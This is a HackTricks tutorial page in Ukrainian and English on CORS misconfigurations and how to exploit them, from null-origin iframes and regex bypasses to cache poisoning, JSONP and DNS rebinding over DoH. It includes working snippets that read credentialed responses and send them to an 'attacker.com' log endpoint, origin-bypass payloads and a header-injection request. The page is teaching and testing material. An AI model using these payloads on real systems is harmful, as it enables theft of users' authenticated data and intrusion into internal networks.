CORS - Misconfigurations & Bypass
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
Що таке CORS?
Cross-Origin Resource Sharing (CORS) standard enables servers to define who can access their assets and which HTTP request methods are permitted from external sources.
Політика same-origin вимагає, щоб server requesting ресурс і server, який розміщує resource, мали той самий protocol (наприклад, http://), domain name (наприклад, internal-web.com) і port (наприклад, 80). За цією політикою доступ до ресурсів дозволено лише web pages з того самого domain і port.
Застосування same-origin policy у контексті http://normal-website.com/example/example.html показано нижче:
| URL accessed | Access permitted? |
|---|---|
http://normal-website.com/example/ | Yes: Identical scheme, domain, and port |
http://normal-website.com/example2/ | Yes: Identical scheme, domain, and port |
https://normal-website.com/example/ | No: Different scheme and port |
http://en.normal-website.com/example/ | No: Different domain |
http://www.normal-website.com/example/ | No: Different domain |
http://normal-website.com:8080/example/ | No: Different port* |
*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.
Access-Control-Allow-Origin Header
This header can allow multiple origins, a null value, or a wildcard *. However, no browser supports multiple origins, and the use of the wildcard * is subject to limitations. (The wildcard must be used alone, and its use alongside Access-Control-Allow-Credentials: true is not permitted.)
This header is issued by a server in response to a cross-domain resource request initiated by a website, with the browser automatically adding an Origin header.
Access-Control-Allow-Credentials Header
By default, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the Access-Control-Allow-Credentials header to true.
If set to true, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")
CSRF Pre-flight request
Розуміння Pre-flight Requests у Cross-Domain Communication
Під час ініціювання cross-domain запиту за певних умов, наприклад, використання non-standard HTTP method (будь-який, окрім HEAD, GET, POST), додавання нових headers або застосування спеціального значення Content-Type header, може знадобитися pre-flight request. Цей попередній запит, що використовує метод OPTIONS, служить для інформування сервера про наміри майбутнього cross-origin request, включно з HTTP methods і headers, які він збирається використати.
Протокол Cross-Origin Resource Sharing (CORS) вимагає цього pre-flight check, щоб визначити можливість виконання запитаного cross-origin operation шляхом перевірки дозволених methods, headers і надійності origin. Для детального розуміння того, які умови обходять потребу в pre-flight request, зверніться до вичерпного посібника від Mozilla Developer Network (MDN).
Важливо зазначити, що відсутність pre-flight request не скасовує вимогу, щоб response містила authorization headers. Без цих headers browser не здатний обробити response від cross-origin request.
Розгляньте таку ілюстрацію pre-flight request, спрямованого на використання методу PUT разом із custom header під назвою Special-Request-Header:
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
У відповідь сервер може повернути headers, що вказують на accepted methods, allowed origin та інші деталі CORS policy, як показано нижче:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers: Цей header визначає, які headers можна використовувати під час фактичного request. Його встановлює server, щоб вказати дозволені headers у requests від client.Access-Control-Expose-Headers: Через цей header server інформує client про те, які headers можуть бути exposed як частина response, окрім simple response headers.Access-Control-Max-Age: Цей header вказує, як довго результати pre-flight request можна кешувати. Server встановлює максимальний час у секундах, протягом якого інформація, повернена pre-flight request, може бути повторно використана.Access-Control-Request-Headers: Використовується в pre-flight requests; цей header встановлюється client, щоб повідомити server про те, які HTTP headers client хоче використовувати у фактичному request.Access-Control-Request-Method: Цей header, також використовується в pre-flight requests, встановлюється client, щоб вказати, який HTTP method буде використано у фактичному request.Origin: Цей header автоматично встановлюється browser і вказує origin cross-origin request. Його використовує server, щоб визначити, чи має вхідний request бути дозволений або відхилений на основі CORS policy.
Зверніть увагу, що зазвичай (залежно від content-type і встановлених headers) у GET/POST request no pre-flight request is sent (request надсилається directly), але якщо ви хочете отримати доступ до headers/body of the response, він має містити header Access-Control-Allow-Origin, що дозволяє це.
Therefore, CORS doesn’t protect against CSRF (but it can be helpful).
Local Network Requests Pre-flight request
Modern browsers and the current Private Network Access (PNA) draft use the headers Access-Control-Request-Private-Network: true in the preflight and Access-Control-Allow-Private-Network: true in the response. Older articles and PoCs may still refer to Local-Network header names, but for current testing you should expect the Private-Network variants.
A valid response allowing the local network request needs to also include Access-Control-Allow-Private-Network: true:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...
І preflight request буде виглядати подібно до:
OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true
Note
Розгортання Chrome PNA кілька разів змінювалося протягом 2024 року. Станом на 9 жовтня 2024 року Chrome документував, що PNA preflights були призупинені через проблеми сумісності, тоді як обмеження secure-context залишалися чинними. Тому продовжуйте тестувати і spec-compliant preflight flow, і старішу поведінку “works in practice because enforcement is incomplete”.
Warning
Зверніть увагу, що linux IP 0.0.0.0 працює для bypass цих вимог, щоб отримати доступ до localhost, оскільки ця IP-адреса не вважається “local”.
Chrome також документував, що
0.0.0.0/8тепер розглядається як частина Private Network Access, тож цей трюк залежить від browser/version і його слід повторно перевіряти, а не вважати гарантованим.Також можливо bypass вимоги Local Network, якщо використати public IP address local endpoint (наприклад, public IP router). Оскільки в кількох випадках, навіть якщо звертаються до public IP, але це з local network, доступ буде надано.
Wildcards
Зверніть увагу, що навіть якщо наступна configuration може виглядати дуже permissive:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Це не дозволено браузерами, і тому credentials не будуть надіслані з запитом, дозволеним цим.
Exploitable misconfigurations
Було помічено, що налаштування Access-Control-Allow-Credentials на true є prerequisite для більшості real attacks. Це налаштування дозволяє браузеру надсилати credentials і читати response, підвищуючи ефективність атаки. Без цього перевага від того, що браузер виконує request замість вас, зменшується, оскільки використання cookies користувача стає неможливим.
Exception: Exploiting Network Location as Authentication
Існує exception, коли network location жертви виступає як форма authentication. Це дозволяє використовувати browser жертви як proxy, обходячи IP-based authentication для доступу до intranet applications. Цей метод за впливом схожий на DNS rebinding, але його простіше exploit.
Reflection of Origin in Access-Control-Allow-Origin
Реальний сценарій, у якому значення заголовка Origin відображається в Access-Control-Allow-Origin, теоретично малоймовірний через обмеження на комбінування цих заголовків. Однак developers, які прагнуть увімкнути CORS для multiple URLs, можуть динамічно генерувати заголовок Access-Control-Allow-Origin, копіюючи значення заголовка Origin. Такий підхід може створювати vulnerabilities, особливо коли attacker використовує domain з name, призначеною виглядати legitimate, тим самим вводячи в оману validation logic.
<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>
Експлуатація null Origin
null origin, specified for situations like redirects or local HTML files, займає унікальне положення. Деякі applications whitelisting this origin to facilitate local development, ненавмисно дозволяючи будь-якому website імітувати null origin через sandboxed iframe, тим самим обходячи CORS restrictions.
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Техніки обходу Regular Expression
Під час зустрічі з domain whitelist важливо тестувати можливості bypass, наприклад додавання домену attacker’s до whitelisted domain або використання вразливостей subdomain takeover. Крім того, regular expressions, які використовуються для validation domain, можуть не враховувати нюанси в правилах naming domain, створюючи додаткові можливості для bypass.
Advanced Regular Expression Bypasses
Regex patterns зазвичай зосереджуються на alphanumeric, dot (.) і hyphen (-) символах, ігноруючи інші можливості. Наприклад, domain name, створений так, щоб містити символи, які browsers і regex patterns інтерпретують по-різному, може обійти security checks. Обробка underscore символів у subdomains у Safari, Chrome і Firefox ілюструє, як такі розбіжності можна використати для обходу domain validation logic.
For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
.png)
From XSS inside a subdomain
Developers часто implement defensive mechanisms to protect against CORS exploitation by whitelisting domains that are permitted to request information. Despite these precautions, the system’s security is not foolproof. The presence of even a single vulnerable subdomain within the whitelisted domains can open the door to CORS exploitation through other vulnerabilities, such as XSS (Cross-Site Scripting).
To illustrate, consider the scenario where a domain, requester.com, is whitelisted to access resources from another domain, provider.com. The server-side configuration might look something like this:
if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}
У цій конфігурації всі subdomains requester.com мають доступ. Однак, якщо subdomain, наприклад sub.requester.com, скомпрометовано через XSS vulnerability, attacker може використати цю слабкість. Наприклад, attacker, який має доступ до sub.requester.com, може експлуатувати XSS vulnerability, щоб обійти CORS policies і зловмисно отримати доступ до ресурсів на provider.com.
Special Characters
PortSwigger’s URL validation bypass cheat sheet виявив, що деякі browsers підтримують дивні characters у domain names.
Chrome і Firefox support underscores _, які можуть bypass regexes, implemented to validate the Origin header:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
Safari є ще більш поблажливим, приймаючи спеціальні символи в доменному імені:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
Останні оновлення до cheat sheet PortSwigger додали більше Safari-oriented domain splitting payloads, які варто fuzzing, коли ціль перевіряє Origin header за допомогою regexes або home-grown URL parsers:
https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/
Це корисно, коли backend лише перевіряє, чи наданий origin починається з або містить trusted hostname, тоді як browser усе ще сприймає суфікс під контролем attacker як фактичну межу origin.
Також пам’ятайте, що сучасний origin fuzzing не має зупинятися на суфіксах hostname. Поточний PortSwigger cheat sheet містить сімейства payload для:
- Domain allow-list bypasses: attacker-controlled домени, які все ще проходять наївні перевірки prefix/suffix/substring.
- Fake-relative absolute URLs: browser-valid absolute URLs, які application code може розпарсити як relative.
- Loopback/IP normalizations: альтернативні форми IPv4/IPv6, корисні, коли CORS logic намагається блокувати
localhost,127.0.0.1або cloud metadata endpoints через string comparison.
Other funny URL tricks
Server-side cache poisoning
Можливо, що шляхом exploitation server-side cache poisoning через HTTP header injection можна викликати stored Cross-Site Scripting (XSS) vulnerability. Цей сценарій виникає, коли application не sanitizes Origin header від illegal characters, створюючи vulnerability особливо для користувачів Internet Explorer і Edge. Ці browsers трактують (0x0d) як дійсний HTTP header terminator, що призводить до HTTP header injection vulnerabilities.
Розгляньте такий request, де Origin header змінено:
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer and Edge інтерпретують відповідь як:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
Хоча безпосередньо експлуатувати цю вразливість шляхом змушування web browser надсилати malformed header нереально, можна вручну згенерувати crafted request за допомогою інструментів на кшталт Burp Suite. Цей метод може призвести до того, що server-side cache збереже response і ненавмисно віддасть його іншим. Сформований payload має на меті змінити character set сторінки на UTF-7 — character encoding, який часто пов’язують із XSS vulnerabilities через його здатність кодувати characters так, що вони можуть бути виконані як script у певних контекстах.
Для подальшого читання про stored XSS vulnerabilities див. PortSwigger.
Примітка: Експлуатація HTTP header injection vulnerabilities, зокрема через server-side cache poisoning, підкреслює критичну важливість validation і sanitizing усіх user-supplied input, включно з HTTP headers. Завжди використовуйте надійну security model, яка включає input validation для запобігання таким вразливостям.
Client-Side cache poisoning
У цьому сценарії спостерігається instance web page, яка відображає вміст custom HTTP header без належного encoding. Зокрема, web page відображає назад вміст, включений у X-User-id header, який може містити malicious JavaScript, як показано в прикладі, де header містить SVG image tag, призначений для виконання JavaScript code під час завантаження.
Cross-Origin Resource Sharing (CORS) policies дозволяють надсилання custom headers. Однак без безпосереднього рендерингу response браузером через CORS restrictions, корисність такої injection може здаватися обмеженою. Ключовий момент з’являється, коли враховується поведінка browser cache. Якщо Vary: Origin header не вказано, стає можливим, що malicious response буде cached браузером. Згодом цей cached response може бути directly rendered під час переходу до URL, обходячи потребу в direct rendering під час початкового request. Цей механізм підвищує надійність attack завдяки використанню client-side caching.
Щоб проілюструвати цю attack, наведено JavaScript example, призначений для виконання в environment web page, наприклад через JSFiddle. Цей script виконує просту дію: він надсилає request до вказаного URL із custom header, що містить malicious JavaScript. Після успішного завершення request він намагається перейти до target URL, потенційно запускаючи execution injected script, якщо response було cached без належної обробки Vary: Origin header.
Ось підсумований розбір JavaScript, який використовується для виконання цієї attack:
<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>
Bypass
XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, також відомий як Cross-Site Script Inclusion, — це тип вразливості, що використовує той факт, що Same Origin Policy (SOP) не застосовується під час включення ресурсів через тег script. Це тому, що скрипти мають можливість включатися з різних доменів. Ця вразливість дозволяє атакувальнику отримувати доступ і читати будь-який вміст, який був включений через тег script.
Ця вразливість стає особливо значущою, коли йдеться про dynamic JavaScript або JSONP (JSON with Padding), особливо якщо для authentication використовуються дані з ambient-authority, як-от cookies. Під час запиту ресурсу з іншого host cookies включаються, що робить їх доступними для атакувальника.
Щоб краще зрозуміти та зменшити ризик цієї вразливості, можна скористатися BurpSuite plugin, доступним за адресою https://github.com/kapytein/jsonp. Цей plugin може допомогти виявляти й усувати потенційні XSSI-вразливості у ваших web applications.
Read more about the difefrent types of XSSI and how to exploit them here.
Спробуйте додати параметр callback у request. Можливо, page була підготовлена для відправлення даних як JSONP. У такому разі page поверне дані з Content-Type: application/javascript, що обійде CORS policy.
.png)
Easy (useless?) bypass
Один зі способів обійти обмеження Access-Control-Allow-Origin — змусити web application виконати request від вашого імені та повернути response назад. Однак у цьому сценарії credentials кінцевої жертви не будуть надіслані, оскільки request робиться до іншого domain.
- CORS-escape: Цей tool надає proxy, який пересилає ваш request разом із його headers, при цьому підміняючи header Origin так, щоб він збігався із requested domain. Це фактично обходить CORS policy. Ось приклад використання з XMLHttpRequest:
- simple-cors-escape: Цей tool пропонує альтернативний підхід до proxying requests. Замість того щоб передавати ваш request як є, server виконує власний request із заданими parameters.
Iframe + Popup Bypass
Ви можете обійти CORS checks на кшталт e.origin === window.origin, створивши iframe і відкривши з нього нове window. Більше інформації на наступній сторінці:
DNS Rebinding via TTL
DNS rebinding via TTL — це technique, що використовується для обходу певних security measures шляхом маніпулювання DNS records. Ось як це працює:
- Attacker створює web page і змушує victim відвідати її.
- Потім attacker змінює DNS (IP) свого власного domain так, щоб він вказував на web page жертви.
- Browser жертви кешує DNS response, який може мати значення TTL (Time to Live), що вказує, як довго DNS record слід вважати дійсним.
- Коли TTL закінчується, browser жертви робить новий DNS request, що дозволяє attacker виконати JavaScript code на page жертви.
- Зберігаючи контроль над IP жертви, attacker може збирати інформацію з victim без надсилання cookies на victim server.
Важливо зазначити, що browsers мають механізми caching, які можуть запобігти негайному зловживанню цією technique, навіть за низьких значень TTL.
DNS rebinding може бути корисним для обходу явних IP checks, які виконує victim, або для сценаріїв, коли user чи bot залишається на тій самій page тривалий час, дозволяючи cache закінчити термін дії.
Якщо вам потрібен швидкий спосіб зловживання DNS rebinding, можна скористатися services на кшталт https://lock.cmpxchg8b.com/rebinder.html.
Щоб запустити власний DNS rebinding server, можна використати tools на кшталт DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Це передбачає відкриття локального port 53/udp, створення A record, що вказує на нього (наприклад, ns.example.com), і створення NS record, що вказує на раніше створений A subdomain (наприклад, ns.example.com). Будь-який subdomain subdomain ns.example.com буде тоді розв’язуватися вашим host.
Також можна ознайомитися з публічно запущеним server за адресою http://rebind.it/singularity.html для кращого розуміння та експериментів.
DNS Rebinding via DNS Cache Flooding
DNS rebinding via DNS cache flooding — це ще одна technique для обходу caching mechanism браузерів і примусового виконання другого DNS request. Ось як це працює:
- Спочатку, коли victim робить DNS request, у відповідь він отримує IP address attacker.
- Щоб обійти захист caching, attacker використовує service worker. Service worker заповнює DNS cache, що фактично видаляє кешоване ім’я attack server.
- Коли browser жертви робить другий DNS request, у відповідь він уже отримує IP address 127.0.0.1, який зазвичай означає localhost.
Заповнюючи DNS cache за допомогою service worker, attacker може маніпулювати процесом DNS resolution і змусити browser жертви зробити другий request, цього разу з розв’язанням на потрібний attacker IP address.
DNS Rebinding via Cache
Інший спосіб обійти захист caching — використовувати кілька IP address для того самого subdomain у DNS provider. Ось як це працює:
- Attacker налаштовує два A records (або один A record із двома IPs) для того самого subdomain у DNS provider.
- Коли browser перевіряє ці records, він отримує обидва IP address.
- Якщо browser вирішує спочатку використовувати IP address attacker, attacker може надати payload, який виконує HTTP requests до того самого domain.
- Однак, щойно attacker отримує IP address жертви, він перестає відповідати browser жертви.
- Browser жертви, зрозумівши, що domain не відповідає, переходить до використання другого наданого IP address.
- Отримавши доступ через другий IP address, browser обходить Same Origin Policy (SOP), що дозволяє attacker зловживати цим і збирати та exfiltrate інформацію.
Ця technique використовує поведінку browsers, коли для domain надається кілька IP address. Стратегічно керуючи responses і маніпулюючи вибором browser IP address, attacker може експлуатувати SOP і отримувати доступ до інформації жертви.
Warning
Зверніть увагу, що для доступу до localhost слід намагатися rebind 127.0.0.1 у Windows і 0.0.0.0 у linux.
Providers, такі як godaddy або cloudflare, не дозволили мені використати ip 0.0.0.0, але AWS route53 дозволив створити один A record із 2 IPs, одним із яких був “0.0.0.0”![]()
Для більшої кількості info дивіться https://unit42.paloaltonetworks.com/dns-rebinding/
Other Common Bypasses
- Якщо internal IPs не дозволені, можливо, вони forgot заборонити 0.0.0.0 (працює на Linux і Mac)
- Якщо internal IPs не дозволені, відповідайте CNAME на localhost (працює на Linux і Ma
- Якщо internal IPs не дозволені як DNS responses, можна відповідати CNAMEs на internal services, такі як www.corporate.internal.
DNS Rebidding Weaponized
Більше інформації про попередні bypass techniques і про те, як використовувати наступний tool, можна знайти у доповіді Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.
Singularity of Origin — це tool для виконання атак DNS rebinding. Він містить необхідні компоненти, щоб rebind IP address attack server DNS name на IP address target machine і надавати attack payloads для експлуатації вразливого software на target machine.
DNS Rebinding over DNS-over-HTTPS (DoH)
DoH просто тунелює класичний RFC1035 DNS wire format всередині HTTPS (зазвичай POST з Content-Type: application/dns-message). Resolver усе одно повертає ті самі resource records, тож SOP-breaking techniques продовжують працювати навіть тоді, коли browsers розв’язують attacker-controlled hostname через TLS.
Key observations
- Chrome (Windows/macOS) і Firefox (Linux) успішно виконують rebind, якщо налаштовані на Cloudflare, Google або OpenDNS DoH resolvers. Transport encryption не затримує і не блокує attack-flow для стратегій first-then-second, multiple-answers або DNS cache flooding.
- Public resolvers усе ще бачать кожен query, але рідко enforce-ять host-to-IP mapping, який browser має виконувати. Після того як authoritative server повертає rebinding sequence, browser зберігає original origin tuple під час підключення до нового IP.
Singularity strategies and timing over DoH
- First-then-second залишається найнадійнішим варіантом: перший lookup повертає attacker IP, який надає payload, усі наступні lookup повертають internal/localhost IP. З типовими browser DNS caches це перемикає traffic приблизно за 40–60 секунд, навіть коли recursive resolver доступний лише через HTTPS.
- Multiple answers (fast rebinding) все ще приводить до localhost менш ніж за 3 секунди, відповідаючи двома A records (attacker IP +
0.0.0.0на Linux/macOS або127.0.0.1на Windows) і програмно blackholing перший IP (наприклад,iptables -I OUTPUT -d <attacker_ip> -j DROP) невдовзі після завантаження page. Реалізація DoH у Firefox може надсилати повторні DNS queries, тому виправлення в Singularity — планувати правило firewall відносно timestamp першого query, замість оновлення таймера на кожен query.
Beating “rebind protection” in DoH providers
- Деякі providers (наприклад, NextDNS) замінюють private/loopback answers на
0.0.0.0, але Linux і macOS без проблем маршрутизують цей destination до local services. Тому навмисне повернення0.0.0.0як другого record усе ще переводить origin на localhost. - Фільтрація лише прямого A/AAAA response неефективна: повернення CNAME до internal-only hostname змушує public DoH resolver передати alias далі, тоді як browsers на кшталт Firefox fallback-ять до system DNS для internal zone, завершуючи resolution на private IP, який усе ще вважається attacker origin.
Browser-specific DoH behavior
- Firefox DoH працює в fallback mode: будь-який DoH failure (включно з unresolved CNAME target) запускає plaintext lookup через OS resolver, який зазвичай є enterprise DNS server, що знає internal namespace. Саме ця поведінка робить CNAME bypass надійним усередині corporate networks.
- Chrome DoH активується лише тоді, коли OS DNS вказує на whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9 тощо) і не надає такого самого fallback chain. Internal hostnames, що існують лише в corporate DNS, тому не вдається розв’язати, але rebinding до localhost або будь-якого routable address усе одно працює, оскільки attacker контролює весь response set.
Testing and monitoring DoH flows
- Firefox:
Settings ➜ Network Settings ➜ Enable DNS over HTTPSі вкажіть DoH endpoint (Cloudflare і NextDNS вбудовані). Chrome/Chromium: увімкнітьchrome://flags/#dns-over-httpsі налаштуйте OS DNS servers на один із підтримуваних Chrome resolvers (наприклад,1.1.1.1/1.0.0.1). - Ви можете напряму робити query до public DoH APIs, наприклад
curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq, щоб підтвердити точні records, які browsers будуть кешувати. - Перехоплення DoH у Burp/ZAP усе ще працює, тому що це просто HTTPS (binary DNS payload у body). Для packet-level inspection експортуйте TLS keys (
export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) перед запуском browser і дозвольте Wireshark розшифровувати DoH sessions за допомогою display filterdns, щоб бачити, коли browser залишається на DoH або переходить назад до classic DNS.
Real Protection against DNS Rebinding
- Використовуйте TLS у internal services
- Вимагайте authentication для доступу до data
- Validate header Host
- https://wicg.github.io/private-network-access/: Proposal always надсилати pre-flight request, коли public servers хочуть отримати доступ до internal servers
Tools
Fuzz можливі misconfigurations у CORS policies
- https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
- https://portswigger.net/bappstore/c257bcb0b6254a578535edb2dcee87d0
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
- https://github.com/omranisecurity/CorsOne
References
- https://portswigger.net/web-security/cors
- https://portswigger.net/web-security/cors/access-control-allow-origin
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
- https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
- https://www.codecademy.com/articles/what-is-cors
- https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
- https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
- https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b
- NCC Group - Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://developer.chrome.com/blog/pna-on-hold
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


